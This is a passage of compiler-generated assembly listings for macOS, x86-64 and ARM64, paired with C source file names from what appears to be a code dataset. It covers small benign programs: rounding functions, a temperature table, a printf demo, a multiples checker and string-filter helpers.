movss -4(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2si %xmm0, %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test2f ## -- Begin function test2f
.p2align 4, 0x90
_test2f: ## @test2f
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movss %xmm0, -4(%rbp)
movss -4(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
roundss $9, %xmm0, %xmm0
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test3f ## -- Begin function test3f
.p2align 4, 0x90
_test3f: ## @test3f
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movss %xmm0, -4(%rbp)
movss -4(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
roundss $10, %xmm0, %xmm0
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test4f ## -- Begin function test4f
.p2align 4, 0x90
_test4f: ## @test4f
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movss %xmm0, -4(%rbp)
movss -4(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
roundss $11, %xmm0, %xmm0
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test5f ## -- Begin function test5f
.p2align 4, 0x90
_test5f: ## @test5f
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movss %xmm0, -4(%rbp)
movss -4(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
roundss $12, %xmm0, %xmm0
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test1l ## -- Begin function test1l
.p2align 4, 0x90
_test1l: ## @test1l
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
movq %rsp, %rax
fstpt (%rax)
callq _rintl
fld %st(0)
fstp %st(0)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test11l ## -- Begin function test11l
.p2align 4, 0x90
_test11l: ## @test11l
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fistpll -24(%rbp)
movq -24(%rbp), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test12l ## -- Begin function test12l
.p2align 4, 0x90
_test12l: ## @test12l
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fistpll -24(%rbp)
movq -24(%rbp), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test2l ## -- Begin function test2l
.p2align 4, 0x90
_test2l: ## @test2l
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
movq %rsp, %rax
fstpt (%rax)
callq _floorl
fld %st(0)
fstp %st(0)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test3l ## -- Begin function test3l
.p2align 4, 0x90
_test3l: ## @test3l
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
movq %rsp, %rax
fstpt (%rax)
callq _ceill
fld %st(0)
fstp %st(0)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test4l ## -- Begin function test4l
.p2align 4, 0x90
_test4l: ## @test4l
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
movq %rsp, %rax
fstpt (%rax)
callq _truncl
fld %st(0)
fstp %st(0)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test5l ## -- Begin function test5l
.p2align 4, 0x90
_test5l: ## @test5l
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
movq %rsp, %rax
fstpt (%rax)
callq _nearbyintl
fld %st(0)
fstp %st(0)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/107953762.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function main
lCPI0_0:
.quad 0x3ffccccccccccccd ; double 1.8
lCPI0_1:
.quad 0x4040000000000000 ; double 32
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
mov w8, #-17
stur w8, [x29, #-16]
mov w8, #148
stur w8, [x29, #-20]
mov w8, #11
str w8, [sp, #24]
ldur s0, [x29, #-16]
scvtf s0, s0
stur s0, [x29, #-12]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldur s0, [x29, #-12]
ldur s1, [x29, #-20]
scvtf s1, s1
fcmp s0, s1
cset w8, hi
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldur s0, [x29, #-12]
fcvt d1, s0
adrp x8, lCPI0_1@PAGE
ldr d2, [x8, lCPI0_1@PAGEOFF]
adrp x8, lCPI0_0@PAGE
ldr d0, [x8, lCPI0_0@PAGEOFF]
fmadd d0, d0, d1, d2
fcvt s0, d0
stur s0, [x29, #-8]
ldur s0, [x29, #-12]
fcvt d1, s0
ldur s0, [x29, #-8]
fcvt d0, s0
mov x8, sp
str d1, [x8]
str d0, [x8, #8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldur s0, [x29, #-12]
ldr s1, [sp, #24]
scvtf s1, s1
fadd s0, s0, s1
stur s0, [x29, #-12]
b LBB0_1
LBB0_3:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%3.0f\t%6.1f\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function main
LCPI0_0:
.quad 0x3ffccccccccccccd ## double 1.8
LCPI0_1:
.quad 0x4040000000000000 ## double 32
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl $-17, -16(%rbp)
movl $148, -20(%rbp)
movl $11, -24(%rbp)
cvtsi2ssl -16(%rbp), %xmm0
movss %xmm0, -12(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movss -12(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero
cvtsi2ssl -20(%rbp), %xmm0
ucomiss %xmm1, %xmm0
jb LBB0_3
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movss -12(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
movsd LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero
mulsd %xmm1, %xmm0
movsd LCPI0_1(%rip), %xmm1 ## xmm1 = mem[0],zero
addsd %xmm1, %xmm0
cvtsd2ss %xmm0, %xmm0
movss %xmm0, -8(%rbp)
movss -12(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
movss -8(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero
cvtss2sd %xmm1, %xmm1
leaq L_.str(%rip), %rdi
movb $2, %al
callq _printf
movss -12(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtsi2ssl -24(%rbp), %xmm1
addss %xmm1, %xmm0
movss %xmm0, -12(%rbp)
jmp LBB0_1
LBB0_3:
movl -4(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%3.0f\t%6.1f\n"
.subsections_via_symbols
| the_stack_data/83493.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/951003.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur w0, [x29, #-20]
str x1, [sp, #32]
adrp x8, l___const.main.s@PAGE
add x8, x8, l___const.main.s@PAGEOFF
ldr x9, [x8]
sub x8, x29, #16
stur x9, [x29, #-16]
mov w9, #3
str w9, [sp, #28]
ldr w9, [sp, #28]
; implicit-def: $x10
mov x10, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
bl ___stack_chk_fail
LBB0_2:
mov w0, #0
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l___const.main.s: ; @__const.main.s
.asciz "myworld"
l_.str: ; @.str
.asciz "%10.*s %%"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl %edi, -20(%rbp)
movq %rsi, -32(%rbp)
movq L___const.main.s(%rip), %rax
movq %rax, -16(%rbp)
movl $3, -36(%rbp)
movl -36(%rbp), %esi
leaq -16(%rbp), %rdx
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_2
## %bb.1:
xorl %eax, %eax
addq $48, %rsp
popq %rbp
retq
LBB0_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L___const.main.s: ## @__const.main.s
.asciz "myworld"
L_.str: ## @.str
.asciz "%10.*s %%"
.subsections_via_symbols
| the_stack_data/154832101.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #40]
str w0, [sp, #36]
str x1, [sp, #24]
add x0, sp, #44
adrp x1, l___const.main.resposta@PAGE
add x1, x1, l___const.main.resposta@PAGEOFF
mov x2, #60
bl _memcpy
mov x9, sp
add x8, sp, #20
str x8, [x9]
add x8, sp, #16
str x8, [x9, #8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
ldr w8, [sp, #20]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldr w8, [sp, #16]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2:
mov x9, sp
add x8, sp, #44
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB0_8
LBB0_3:
ldr w8, [sp, #20]
ldr w10, [sp, #16]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4:
ldr w8, [sp, #16]
ldr w10, [sp, #20]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5:
mov x9, sp
add x8, sp, #44
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB0_7
LBB0_6:
add x8, sp, #44
add x8, x8, #30
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB0_7
LBB0_7:
b LBB0_8
LBB0_8:
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_10
b LBB0_9
LBB0_9:
bl ___stack_chk_fail
LBB0_10:
mov w0, #0
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
add sp, sp, #128
ret
.cfi_endproc
; -- End function
.section __TEXT,__const
l___const.main.resposta: ; @__const.main.resposta
.asciz "Sao Multiplos\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "Nao sao Multiplos\000\000\000\000\000\000\000\000\000\000\000\000"
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d%d"
l_.str.1: ; @.str.1
.asciz "%s\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $112, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -84(%rbp)
movl %edi, -88(%rbp)
movq %rsi, -96(%rbp)
leaq -80(%rbp), %rdi
leaq l___const.main.resposta(%rip), %rsi
movl $60, %edx
callq _memcpy
leaq L_.str(%rip), %rdi
leaq -100(%rbp), %rsi
leaq -104(%rbp), %rdx
movb $0, %al
callq _scanf
cmpl $0, -100(%rbp)
je LBB0_2
## %bb.1:
cmpl $0, -104(%rbp)
jne LBB0_3
LBB0_2:
leaq -80(%rbp), %rsi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_8
LBB0_3:
movl -100(%rbp), %eax
cltd
idivl -104(%rbp)
cmpl $0, %edx
je LBB0_5
## %bb.4:
movl -104(%rbp), %eax
cltd
idivl -100(%rbp)
cmpl $0, %edx
jne LBB0_6
LBB0_5:
leaq -80(%rbp), %rsi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_7
LBB0_6:
leaq -80(%rbp), %rsi
addq $30, %rsi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
LBB0_7:
jmp LBB0_8
LBB0_8:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_10
## %bb.9:
xorl %eax, %eax
addq $112, %rsp
popq %rbp
retq
LBB0_10:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__const
.p2align 4 ## @__const.main.resposta
l___const.main.resposta:
.asciz "Sao Multiplos\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "Nao sao Multiplos\000\000\000\000\000\000\000\000\000\000\000\000"
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d%d"
L_.str.1: ## @.str.1
.asciz "%s\n"
.subsections_via_symbols
| the_stack_data/963980.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _extend ; -- Begin function extend
.p2align 2
_extend: ; @extend
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x8, [sp, #8]
ldr w8, [x8, #12]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldr x9, [sp, #8]
mov w8, #10
str w8, [x9, #12]
b LBB0_3
LBB0_2:
ldr x9, [sp, #8]
ldr w8, [x9, #12]
lsl w8, w8, #1
str w8, [x9, #12]
b LBB0_3
LBB0_3:
ldr x8, [sp, #8]
ldr x0, [x8]
ldr x8, [sp, #8]
ldrsw x9, [x8, #12]
mov x8, #8
mul x1, x8, x9
bl _realloc
ldr x8, [sp, #8]
str x0, [x8]
ldr x8, [sp, #8]
ldr x8, [x8]
ldr x0, [x8]
ldr x8, [sp, #8]
ldrsw x9, [x8, #12]
mov x8, #24
mul x1, x8, x9
bl _realloc
ldr x8, [sp, #8]
ldr x8, [x8]
str x0, [x8]
str wzr, [sp, #4]
b LBB0_4
LBB0_4: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #4]
ldr x9, [sp, #8]
ldr w9, [x9, #12]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_7
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_4 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8]
ldr x8, [x8]
ldr w9, [sp, #4]
mov w10, #3
mul w9, w9, w10
add x8, x8, w9, sxtw #3
ldr x9, [sp, #8]
ldr x9, [x9]
ldrsw x10, [sp, #4]
str x8, [x9, x10, lsl #3]
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_4 Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB0_4
LBB0_7:
ldr x8, [sp, #8]
ldr x8, [x8]
subs x8, x8, #0
cset w9, eq
; implicit-def: $x8
mov x8, x9
ands x8, x8, #0x1
cset w8, eq
tbnz w8, #0, LBB0_9
b LBB0_8
LBB0_8:
adrp x0, l___func__.extend@PAGE
add x0, x0, l___func__.extend@PAGEOFF
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
mov w2, #30
adrp x3, l_.str.1@PAGE
add x3, x3, l_.str.1@PAGEOFF
bl ___assert_rtn
LBB0_9:
b LBB0_10
LBB0_10:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _simplify_filter ; -- Begin function simplify_filter
.p2align 2
_simplify_filter: ; @simplify_filter
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur x1, [x29, #-16]
str x2, [sp, #24]
ldr x0, [sp, #24]
bl _strlen
mov x8, x0
str w8, [sp, #20]
ldur x0, [x29, #-16]
ldr x1, [sp, #24]
bl _strstr
str x0, [sp, #8]
b LBB1_1
LBB1_1: ; =>This Loop Header: Depth=1
; Child Loop BB1_3 Depth 2
ldur x8, [x29, #-16]
ldrsb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB1_10
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
b LBB1_3
LBB1_3: ; Parent Loop BB1_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur x8, [x29, #-16]
ldr x9, [sp, #8]
subs x8, x8, x9
cset w8, eq
mov w9, #0
str w9, [sp, #4] ; 4-byte Folded Spill
tbnz w8, #0, LBB1_5
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_3 Depth=2
ldur x8, [x29, #-16]
ldrsb w8, [x8]
subs w8, w8, #0
cset w8, ne
str w8, [sp, #4] ; 4-byte Folded Spill
b LBB1_5
LBB1_5: ; in Loop: Header=BB1_3 Depth=2
ldr w8, [sp, #4] ; 4-byte Folded Reload
tbz w8, #0, LBB1_7
b LBB1_6
LBB1_6: ; in Loop: Header=BB1_3 Depth=2
ldur x8, [x29, #-16]
ldrb w8, [x8]
ldur x9, [x29, #-8]
strb w8, [x9]
ldur x8, [x29, #-8]
add x8, x8, #1
stur x8, [x29, #-8]
ldur x8, [x29, #-16]
add x8, x8, #1
stur x8, [x29, #-16]
b LBB1_3
LBB1_7: ; in Loop: Header=BB1_1 Depth=1
ldur x8, [x29, #-16]
ldrsb w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB1_9
b LBB1_8
LBB1_8:
b LBB1_10
LBB1_9: ; in Loop: Header=BB1_1 Depth=1
ldrsw x9, [sp, #20]
ldur x8, [x29, #-16]
add x8, x8, x9
stur x8, [x29, #-16]
ldur x0, [x29, #-16]
ldr x1, [sp, #24]
bl _strstr
str x0, [sp, #8]
b LBB1_1
LBB1_10:
ldur x8, [x29, #-8]
strb wzr, [x8]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _check_duplicate ; -- Begin function check_duplicate
.p2align 2
_check_duplicate: ; @check_duplicate
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #16]
str x1, [sp, #8]
str wzr, [sp, #4]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #4]
ldr x9, [sp, #16]
ldr w9, [x9, #8]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_6
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #16]
ldr x8, [x8]
ldrsw x9, [sp, #4]
ldr x8, [x8, x9, lsl #3]
ldr x0, [x8]
ldr x1, [sp, #8]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB2_4
b LBB2_3
LBB2_3:
stur wzr, [x29, #-4]
b LBB2_7
LBB2_4: ; in Loop: Header=BB2_1 Depth=1
b LBB2_5
LBB2_5: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB2_1
LBB2_6:
mov w8, #1
stur w8, [x29, #-4]
b LBB2_7
LBB2_7:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _simplify ; -- Begin function simplify
.p2align 2
_simplify: ; @simplify
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
str x1, [sp, #16]
ldr x0, [sp, #16]
bl _strlen
mov x8, x0
str w8, [sp, #12]
ldr w8, [sp, #12]
add w9, w8, #1
; implicit-def: $x8
mov x8, x9
sxtw x9, w8
mov x8, #1
mul x0, x8, x9
bl _malloc
str x0, [sp]
ldr x0, [sp]
ldr x1, [sp, #16]
adrp x2, l_.str.2@PAGE
add x2, x2, l_.str.2@PAGEOFF
bl _simplify_filter
ldr x0, [sp]
ldr x1, [sp]
adrp x2, l_.str.3@PAGE
add x2, x2, l_.str.3@PAGEOFF
bl _simplify_filter
ldr x0, [sp]
ldr x1, [sp]
adrp x2, l_.str.4@PAGE
add x2, x2, l_.str.4@PAGEOFF
bl _simplify_filter
ldr x0, [sp]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _write_to_file ; -- Begin function write_to_file
.p2align 2
_write_to_file: ; @write_to_file
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur x1, [x29, #-16]
stur x2, [x29, #-24]
ldur x0, [x29, #-16]
mov x1, #0
str x1, [sp, #40] ; 8-byte Folded Spill
mov w2, #2
stur w2, [x29, #-32] ; 4-byte Folded Spill
bl _fseek
ldur x0, [x29, #-16]
adrp x1, l_.str.5@PAGE
add x1, x1, l_.str.5@PAGEOFF
bl _fprintf
ldur x0, [x29, #-16]
adrp x1, l_.str.6@PAGE
add x1, x1, l_.str.6@PAGEOFF
bl _fprintf
ldur x0, [x29, #-16]
adrp x1, l_.str.7@PAGE
add x1, x1, l_.str.7@PAGEOFF
bl _fprintf
ldur x0, [x29, #-16]
adrp x1, l_.str.8@PAGE
add x1, x1, l_.str.8@PAGEOFF
bl _fprintf
ldur x0, [x29, #-16]
adrp x1, l_.str.9@PAGE
add x1, x1, l_.str.9@PAGEOFF
bl _fprintf
ldur x0, [x29, #-16]
ldur x8, [x29, #-8]
ldr w9, [x8, #8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x1, l_.str.10@PAGE
add x1, x1, l_.str.10@PAGEOFF
bl _fprintf
ldur x0, [x29, #-16]
ldur x8, [x29, #-8]
ldr w9, [x8, #8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x1, l_.str.11@PAGE
add x1, x1, l_.str.11@PAGEOFF
bl _fprintf
ldur x0, [x29, #-16]
adrp x1, l_.str.12@PAGE
add x1, x1, l_.str.12@PAGEOFF
bl _fprintf
ldr x1, [sp, #40] ; 8-byte Folded Reload
ldur w2, [x29, #-32] ; 4-byte Folded Reload
ldur x0, [x29, #-24]
bl _fseek
ldur x0, [x29, #-24]
adrp x1, l_.str.13@PAGE
add x1, x1, l_.str.13@PAGEOFF
bl _fprintf
ldur x0, [x29, #-24]
adrp x1, l_.str.14@PAGE
add x1, x1, l_.str.14@PAGEOFF
bl _fprintf
ldur x0, [x29, #-24]
ldur x8, [x29, #-8]
ldr w9, [x8, #8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x1, l_.str.15@PAGE
add x1, x1, l_.str.15@PAGEOFF
bl _fprintf
stur wzr, [x29, #-28]
b LBB4_1
LBB4_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-28]
ldur x9, [x29, #-8]
ldr w9, [x9, #8]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB4_4
b LBB4_2
LBB4_2: ; in Loop: Header=BB4_1 Depth=1
ldur x0, [x29, #-24]
ldur x8, [x29, #-8]
ldr x8, [x8]
ldursw x9, [x29, #-28]
ldr x8, [x8, x9, lsl #3]
ldr x12, [x8]
ldur x8, [x29, #-8]
ldr x8, [x8]
ldursw x9, [x29, #-28]
ldr x8, [x8, x9, lsl #3]
ldr x11, [x8, #8]
ldur x8, [x29, #-8]
ldr x8, [x8]
ldursw x9, [x29, #-28]
ldr x8, [x8, x9, lsl #3]
ldr x10, [x8, #16]
ldur w8, [x29, #-28]
ldur x9, [x29, #-8]
ldr w9, [x9, #8]
subs w9, w9, #1
